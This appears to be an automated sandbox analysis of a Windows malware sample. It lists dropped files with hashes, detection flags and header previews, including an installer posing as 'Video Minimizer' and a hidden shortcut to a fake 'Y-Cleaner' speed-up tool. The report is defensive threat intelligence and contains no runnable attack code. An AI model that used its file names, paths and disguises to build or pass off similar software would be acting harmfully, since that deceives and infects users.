                                                                                                                                                                                                                                    SHA-512:9703ECACA3CE9DDF5A59730902F8DC98FA3D9A1FF4F5DE9A6AD30430CF1F164F989D1532942727740C2A27B0E19603721A4D74BBBEA9CE3889018227F170917E
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Yara Hits:
                                                                                                                                                                                                                                    • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-T3MEN.tmp, Author: Joe Security
                                                                                                                                                                                                                                    Preview:.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................PE..L.....Zg.....................^.......]............@..........................P3......k3..............................................P..................................................................................@............................text...j........................... ..`_abtt_2.............................@..@_actt_2.xd.......0..................@....rsrc........P......................@..@_adtt_2...!..0....!.................`.+.........................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
                                                                                                                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):445440
                                                                                                                                                                                                                                    Entropy (8bit):6.439135831549689
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:12288:sosmML3+OytpWFkCU1wayvT33iiDNmAE27R9sY9kP0O+:soslvJ3RaY9wU
                                                                                                                                                                                                                                    MD5:CAC7E17311797C5471733638C0DC1F01
                                                                                                                                                                                                                                    SHA1:58E0BD1B63525A2955439CB9BE3431CEA7FF1121
                                                                                                                                                                                                                                    SHA-256:19248357ED7CFF72DEAD18B5743BF66C61438D68374BDA59E3B9D444C6F8F505
                                                                                                                                                                                                                                    SHA-512:A677319AC8A2096D95FFC69F22810BD4F083F6BF55B8A77F20D8FB8EE01F2FEE619CE318D1F55C392A8F3A4D635D9285712E2C572E62997014641C36EDC060A2
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...*..=...........!.........\......@!....................................... .......................'..........................P.......H.......................l....................................................................................text............................... ..`.rdata..2$.......&..................@..@.data...............................@....idata..............................@....rsrc...H...........................@..@.reloc...&.......(..................@..B................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
                                                                                                                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):499712
                                                                                                                                                                                                                                    Entropy (8bit):6.414789978441117
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:12288:fJzxYPVsBnxO/R7krZhUgiW6QR7t5k3Ooc8iHkC2eq:fZxvBnxOJ7ki3Ooc8iHkC2e
                                                                                                                                                                                                                                    MD5:561FA2ABB31DFA8FAB762145F81667C2
                                                                                                                                                                                                                                    SHA1:C8CCB04EEDAC821A13FAE314A2435192860C72B8
                                                                                                                                                                                                                                    SHA-256:DF96156F6A548FD6FE5672918DE5AE4509D3C810A57BFFD2A91DE45A3ED5B23B
                                                                                                                                                                                                                                    SHA-512:7D960AA8E3CCE22D63A6723D7F00C195DE7DE83B877ECA126E339E2D8CC9859E813E05C5C0A5671A75BB717243E9295FD13E5E17D8C6660EB59F5BAEE63A7C43
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................................................................Rich...................PE..L.....w>...........!.................-............:|................................~e..............................$...?...d!..<....`.......................p...0..8...8...............................H............................................text............................... ..`.rdata..2*.......0..................@..@.data...h!...0... ...0..............@....rsrc........`.......P..............@..@.reloc...0...p...@...`..............@..B........................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
                                                                                                                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):348160
                                                                                                                                                                                                                                    Entropy (8bit):6.542655141037356
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:6144:OcV9z83OtqxnEYmt3NEnvfF+Tbmbw6An8FMciFMNrb3YgxxpbCAOxO2ElvlE:Ooz83OtIEzW+/m/AyF7bCrO/E
                                                                                                                                                                                                                                    MD5:86F1895AE8C5E8B17D99ECE768A70732
                                                                                                                                                                                                                                    SHA1:D5502A1D00787D68F548DDEEBBDE1ECA5E2B38CA
                                                                                                                                                                                                                                    SHA-256:8094AF5EE310714CAEBCCAEEE7769FFB08048503BA478B879EDFEF5F1A24FEFE
                                                                                                                                                                                                                                    SHA-512:3B7CE2B67056B6E005472B73447D2226677A8CADAE70428873F7EFA5ED11A3B3DBF6B1A42C5B05B1F2B1D8E06FF50DFC6532F043AF8452ED87687EEFBF1791DA
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2..S..S..S..Tp..S..S..5S..BX..S..BX...S..BX..Q..BX..S..BX..S..BX..S..Rich.S..........................PE..L.....V>...........!................."............4|.........................`......................................t....C......(.... .......................0..d+..H...8...........................x...H...............l............................text............................... ..`.rdata..@...........................@..@.data... h.......`..................@....rsrc........ ......................@..@.reloc..d+...0...0... ..............@..B........................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
                                                                                                                                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):645592
                                                                                                                                                                                                                                    Entropy (8bit):6.50414583238337
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
                                                                                                                                                                                                                                    MD5:E477A96C8F2B18D6B5C27BDE49C990BF
                                                                                                                                                                                                                                    SHA1:E980C9BF41330D1E5BD04556DB4646A0210F7409
                                                                                                                                                                                                                                    SHA-256:16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
                                                                                                                                                                                                                                    SHA-512:335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..
                                                                                                                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
                                                                                                                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):716789
                                                                                                                                                                                                                                    Entropy (8bit):6.514246042632449
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:12288:PTPcYn5c/rPx37/zHBA6a5Ueyp2CrIEROlnrNORuVVwRxyFJ:LPcYn5c/rPx37/zHBA6pDp2mIEiVCRxe
                                                                                                                                                                                                                                    MD5:B652CE4CF1CC0FA59E9537D47D261968
                                                                                                                                                                                                                                    SHA1:855A08D50DD41B075281FFA8B64C3DAE31522B60
                                                                                                                                                                                                                                    SHA-256:954235B7F836A28330F423C1380B96C84A6C7C3855E3B22B283EE316888ABFC5
                                                                                                                                                                                                                                    SHA-512:8EF7E02F3AC7B98DA91533F66225C27814111A977D2649731B3A3DCD941070587F58928FB3FE10FC72F32493094240704922B4B0459E30E85F86D4AC2970DE2F
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Preview:MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................z........................@..............................................@...............................%..................................................................................................................CODE....\y.......z.................. ..`DATA.................~..............@...BSS......................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc...... ......................@..P.rsrc...............................@..P.....................P..............@..P........................................................................................................................................
                                                                                                                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
                                                                                                                                                                                                                                    File Type:InnoSetup Log Video Minimizer, version 0x30, 4825 bytes, 238576\user, "C:\Users\user\AppData\Local\Video Minimizer 2.33"
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):4825
                                                                                                                                                                                                                                    Entropy (8bit):4.756060698562747
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:96:lcGJtWXj28k7pcmrk9e+eOIhCRa7ICSss/Lnjdd4x/MH0NCJa9Pz:rtWXin7pc9HIh5ICSsAnC
                                                                                                                                                                                                                                    MD5:3F1EA016B0B04DA8EEB3776DF3E970BA
                                                                                                                                                                                                                                    SHA1:0E0BC51D103385CA31524C13F144A6F1B11677CD
                                                                                                                                                                                                                                    SHA-256:2802806093A46FAB1B38456F26C5D20FCA186607CA1F94D3CF3318A3BA327D68
                                                                                                                                                                                                                                    SHA-512:6C52B96F3C840EDBE1CEE84CB52E64525176E8A8319E5C67C1854147253237BE5D5BE3183D8E8D38DCE1156C9D4097058F09F38A4875430CE2F545FE171EAB4A
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:Inno Setup Uninstall Log (b)....................................Video Minimizer.................................................................................................................Video Minimizer.................................................................................................................0...........%..........................................................................................................................U;Z.......Q....238576.user1C:\Users\user\AppData\Local\Video Minimizer 2.33...........0...5.. ............IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..(...dll:kernel32.dll.CreateFileA..............$...dll:kernel32.dll.WriteFile............"...dll:kernel32.dll.CloseHandle........"...dll:kernel32.dll.ExitProcess........%...dll:User3
                                                                                                                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
                                                                                                                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):716789
                                                                                                                                                                                                                                    Entropy (8bit):6.514246042632449
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:12288:PTPcYn5c/rPx37/zHBA6a5Ueyp2CrIEROlnrNORuVVwRxyFJ:LPcYn5c/rPx37/zHBA6pDp2mIEiVCRxe
                                                                                                                                                                                                                                    MD5:B652CE4CF1CC0FA59E9537D47D261968
                                                                                                                                                                                                                                    SHA1:855A08D50DD41B075281FFA8B64C3DAE31522B60
                                                                                                                                                                                                                                    SHA-256:954235B7F836A28330F423C1380B96C84A6C7C3855E3B22B283EE316888ABFC5
                                                                                                                                                                                                                                    SHA-512:8EF7E02F3AC7B98DA91533F66225C27814111A977D2649731B3A3DCD941070587F58928FB3FE10FC72F32493094240704922B4B0459E30E85F86D4AC2970DE2F
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Preview:MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................z........................@..............................................@...............................%..................................................................................................................CODE....\y.......z.................. ..`DATA.................~..............@...BSS......................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc...... ......................@..P.rsrc...............................@..P.....................P..............@..P........................................................................................................................................
                                                                                                                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
                                                                                                                                                                                                                                    File Type:MS Windows HtmlHelp Data
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):78183
                                                                                                                                                                                                                                    Entropy (8bit):7.692742945771669
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:1536:Bkt2SjEQ3r94YqwyadpL1X6Dtn4afF1VowWb8ZmmUQNk3gNqCLbMsFxJse8hbpmn:mR/CYj9dp5XIyI2b/mY3gNjLbMsOaP
                                                                                                                                                                                                                                    MD5:B1B9E6D43319F6D4E52ED858C5726A97
                                                                                                                                                                                                                                    SHA1:5033047A30CCCF57783C600FD76A6D220021B19D
                                                                                                                                                                                                                                    SHA-256:8003A4A0F9F5DFB62BEFBF81F8C05894B0C1F987ACFC8654A6C6CE02B6213910
                                                                                                                                                                                                                                    SHA-512:E56D6EC9170DEBAC28BB514942F794F73D4C194D04C54EFF9227B6EE3C74BA4FCF239FFF0BB6556DC8B847FA89D382AF206A2C481C41A3510936B0A74192D2C2
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:ITSF....`..........E.......|.{.......".....|.{......."..`...............x.......T.......................g1..............ITSP....T...........................................j..].!......."..T...............PMGLW................/..../#IDXHDR...F.../#ITBITS..../#IVB...N$./#STRINGS.....P./#SYSTEM..N.'./#TOPICS...F.0./#URLSTR...:.t./#URLTBL...v.D./$FIftiMain......1./$OBJINST...z.../$WWAssociativeLinks/..../$WWAssociativeLinks/Property...v../$WWKeywordLinks/..../$WWKeywordLinks/Property...r../After.jpg...4..../Auto-.hhc...^./Auto-Adjustment.htm....?./Auto-BleachTeeth.htm...z.3./Auto-Crop2Plus.htm..U.j./Auto-Emphasis.htm...w.V./Auto-EyeColor.htm...!.../Auto-EyePencil.htm..._.../Auto-EyeShadow.htm...,.3./Auto-GettingStarted.htm....Q./Auto-Lipstick.htm..R.M./Auto-Liquify.htm...-.v./Auto-Menu.htm..S.r./Auto-OrderingInformation.htm...Q.../Auto-Overview.htm..^.$./Auto-Powder.htm......./Auto-Resize.htm..s.b./Auto-Rotation.htm..?.e./Auto-Rouge.htm...=.d./Auto-SkinCare.htm...|.{./Auto-SmartPatchCosmet
                                                                                                                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
                                                                                                                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):176128
                                                                                                                                                                                                                                    Entropy (8bit):6.204917493416147
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:3072:l9iEoC1+7N9UQV2Mi8NTUU3/EO3h3E9y6GeoPRtsoWhi75MUbvSHQ:l+ssU62Mi8x9P/UVGeQRthMUbvS
                                                                                                                                                                                                                                    MD5:FEC4FF0C2967A05543747E8D552CF9DF
                                                                                                                                                                                                                                    SHA1:B4449DC0DF8C0AFCC9F32776384A6F5B5CEDE20C
                                                                                                                                                                                                                                    SHA-256:5374148EBCF4B456F8711516A58C9A007A393CA88F3D9759041F691E4343C7D6
                                                                                                                                                                                                                                    SHA-512:93E3F48CD393314178CBC86F6142D577D5EAAE52B47C4D947DBA4DFB706860B150FF5B0E546CB83114CA44666E9DF6021964D79D064B775A58698DAA9550EF13
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+0.J^..J^..J^.cE...J^..VR..J^..UU..J^.#VP..J^..UT..J^..UZ..J^..kU..J^..kZ..J^..J_..J^..iT..J^..io..J^.gLX..J^._jZ..J^.Rich.J^.................PE..L.....L...........!.....0...@.......'.......@...................................................................... e..k....X..d....`.......................p..p....................................................@...............................text....".......0.................. ..`.rdata...%...@...0...@..............@..@.data...T....p... ...p..............@....rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................................
                                                                                                                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
                                                                                                                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                    Category:modified
                                                                                                                                                                                                                                    Size (bytes):3335664
                                                                                                                                                                                                                                    Entropy (8bit):6.663593487538586
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:49152:QkLxnG8PkcX6X4mMMFXck1Q2HRNZkrPyZd9tSr9aPibscQZn5OUg:QkLdGm81MMFDQ2HRNZ2PyZneWt5OT
                                                                                                                                                                                                                                    MD5:BDDC95BF37B6EB97D516948CEC1CB311
                                                                                                                                                                                                                                    SHA1:69EFD2FCE1120E4EE0AB90F0DA0CD25D0E6D8C9A
                                                                                                                                                                                                                                    SHA-256:6AF15A2E4A68C12D983D020F566FDF11FDD1F8AD92ACFB6E2E469E4C0209255D
                                                                                                                                                                                                                                    SHA-512:D6ABC412106C59A2F6682D5D4FE5FF4E24D84BD15E060A6BC30EE78CEAE7767B29C7D60235BAA80F4EB3549EC4600C1609CED9660CF7293422BC2A91C5DCCB57
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Yara Hits:
                                                                                                                                                                                                                                    • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe, Author: Joe Security
                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................PE..L.....Zg.....................^.......]............@..........................P3......k3..............................................P..................................................................................@............................text...j........................... ..`_abtt_2.............................@..@_actt_2.xd.......0..................@....rsrc........P......................@..@_adtt_2...!..0....!.................`.+.........................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):4608
                                                                                                                                                                                                                                    Entropy (8bit):3.990387966645919
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:48:65uxic/UNMSAjItYiA254tdqlkCuFCpfbNtm:cc9jItYbaC+zNt
                                                                                                                                                                                                                                    MD5:F328A95046E3A2514C36347EAEC911C0
                                                                                                                                                                                                                                    SHA1:8EC9C18384CA1E08A397BF7B3D46B6D784669EF0
                                                                                                                                                                                                                                    SHA-256:D55E86610DCAD29C3D2857D9DAE91AA51228B1FA001EA2D7BDA88B9A2B5570A9
                                                                                                                                                                                                                                    SHA-512:2FC3621433C5DA3DCB5B9D9133CD9D63D8F53FD60C81DDAB8B83BAD60EFB98942FC38A63DFA98EDFC8358C8E4E345A7EC8FA3AA14C18D4337CDD90EA0AED4718
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 54%
                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0..............&... ...@....@.. ....................................@..................................&..O....@.......................`.......%..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H.......\ ...............................................................*..(....*..BSJB............v4.0.30319......l.......#~..,...H...#Strings....t.......#US.x.......#GUID...........#Blob...........G..........3..........................................x...............Z.....!.....,.....I.................A...........&.....`.....5.................{.....@.........................A.....P ........#...R ................;...................).....1.....9.....A.....I.....Q.....Y.....
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):4250887
                                                                                                                                                                                                                                    Entropy (8bit):7.998488969661119
                                                                                                                                                                                                                                    Encrypted:true
                                                                                                                                                                                                                                    SSDEEP:98304:IcwhQmHJ8m0sLHd1a161OHydnlWF+t22vQacL5B59eh:9wPtRjBldnlWU65z8
                                                                                                                                                                                                                                    MD5:23619F330C57AF62DE72DFFEBADBF07B
                                                                                                                                                                                                                                    SHA1:7F4B9BD506A9CC86D41F25D2FA9D352106CE2529
                                                                                                                                                                                                                                    SHA-256:7F7357AE47697D5052AA540D2A4E39AB31B2CA88A989D7269D1A98AD58430948
                                                                                                                                                                                                                                    SHA-512:7A583AC5B8E104C4397D86CEA50664831471CCE8338102849DE48F97A640BECA35147E4FFAA1BEFF99A4C5B12269A6B30ABF92269F39626A1D10D069D4DBEB34
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F......@.............@..........................@...................@..............................P........,..........................................................................................................CODE....d........................... ..`DATA....L...........................@...BSS......................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Icon number=0, Archive, ctime=Thu Dec 12 14:48:26 2024, mtime=Thu Dec 12 14:48:26 2024, atime=Thu Dec 12 14:48:26 2024, length=1502720, window=hide
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):2184
                                                                                                                                                                                                                                    Entropy (8bit):3.8642925211888564
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:8JimL/yOgdR84gKoX0Ajhk+50ACcxVvN7+Ag+AYO4Zx5q+AhpSyFySqygm:8JRL/yjdR8l3fZxVvN7E0Zx5qu0syg
                                                                                                                                                                                                                                    MD5:9DF927FECBA73DC6E391253CECC4003A
                                                                                                                                                                                                                                    SHA1:377EEFA55723F9762674771501B650AF2CE61AD4
                                                                                                                                                                                                                                    SHA-256:625254A3DA62F21F81BF4B9A1ECD140BD8585ED9B69692BE414947D9246DA7FD
                                                                                                                                                                                                                                    SHA-512:C3F4A0E0A00575F0246DB716E40BA74826681E8DDBB409A86724D724094E99424BC3DC598762DB68B4579DC94256D3D415DBCA6CE8092510B1C0CF4E73CFD55E
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:L..................F.@.. ...{..H.L..{..H.L..{..H.L..........................8.:..DG..Yr?.D..U..k0.&...&.......;..z.....y..L.....H.L......t...CFSF..1.....EW.V..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW.V.Y.}..........................B...A.p.p.D.a.t.a...B.P.1......Y.~..Local.<......EW.V.Y.~............................$.L.o.c.a.l.....N.1......Y.~..Temp..:......EW.V.Y.~..........................m#.T.e.m.p.....t.1......Y.~..FD262D~1..\......Y.~.Y.~.....&.......................F.D.2.6.2.D.G.W.N.d.4.F.t.r.w.6.r.V.5.C.v.....h.2......Y.~ .Y-CLEA~1.EXE..L......Y.~.Y.~.....'.....................f..Y.-.C.l.e.a.n.e.r...e.x.e.......t...............-.......s.............H.....C:\Users\user\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5Cv\Y-Cleaner.exe....M.a.k.e. .y.o.u.r. .P.C. .f.a.s.t.e.r.9.....\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.F.D.2.6.2.D.G.W.N.d.4.F.t.r.w.6.r.V.5.C.v.\.Y.-.C.l.e.a.n.e.r...e.x.e.E.C.:.\.U.s.e.r.s.\.t.o.t.t.i.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.F.D.2.6.2.D.
                                                                                                                                                                                                                                    Process:C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                                                                                                                                                    File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                                                    Category:modified
                                                                                                                                                                                                                                    Size (bytes):2464
                                                                                                                                                                                                                                    Entropy (8bit):3.2455789876582677
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:QOaqdmuF3rc+kWReHgHttUKlDENh+pyMySn6tUKlDENh+pyMySwwIPVxcwIPVxwg:FaqdF7c+AAHdKoqKFxcxkF8
                                                                                                                                                                                                                                    MD5:0294B071314014A3550DC0DA6E08BB60
                                                                                                                                                                                                                                    SHA1:3FE894AE790D0AEB86C6ECC7356FA4E64ABD1F5E
                                                                                                                                                                                                                                    SHA-256:859E4F8C877935331EE2F67397DB0615ED4126DF619E4F1915C6D390050223CB
                                                                                                                                                                                                                                    SHA-512:99E0F64FDB67E1C8F84FE0B6E3AD3C1D63ECD89DB09E77F1A49226608240896FD032C27786C7E507A30BAC8E3D8A6F24FEB6EBDBE12AF72DEC0D90D209CE68AC
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. T.h.u. .. D.e.c. .. 1.2. .. 2.0.2.4. .1.0.:.4.8.:.0.4.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*. .W.S.C. .S.t.a.t.e. .I.n.f.o. .*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.....*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*. .A.n.t.i.V.i.r.u.s.P.r.o.d.u.c.t. .*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.....d.i.s.p.l.a.y.N.a.m.e. .=. .[.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.].....p.a.t.h.T.o.S.i.g.n.e.d.P.r.o.d.u.c.t.E.x.e. .=. .[.w.i.n.d.o.w.s.d.
                                                                                                                                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                    File Type:MS Windows registry file, NT/2000 or above
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1835008
                                                                                                                                                                                                                                    Entropy (8bit):4.29878816532707
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:6144:WECqOEmWfd+WQFHy/9026ZTyaRsCDusBqD5dooi8lESD6VJSRqV:LCsL6seqD5SJSWVARY
                                                                                                                                                                                                                                    MD5:3DD119854E9EFAC5E6ABB89313509A37
                                                                                                                                                                                                                                    SHA1:5317A02CF7866ED30217295F07B330725E9FB930
                                                                                                                                                                                                                                    SHA-256:AF5B05536A745485433F95F15099AA10FE6F155008FDF807B51AD3CF2976030F
                                                                                                                                                                                                                                    SHA-512:4727722347DA0548E03CD7EA28D60A35BFAA25FE73E5FAC1EA36819C95F86D6105B7B5CB8C6EF0495A40BC84D1F5A2911EA1B8E97B6C9442E7F86517A24A8E06
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:regfD...D....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...H.L.................................................................................................................................................................................................................................................................................................................................................|........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                                                                    File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                    Entropy (8bit):7.934912947712122
                                                                                                                                                                                                                                    TrID:
                                                                                                                                                                                                                                    • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                                                                                                                                                                    • Generic Win/DOS Executable (2004/3) 0.02%
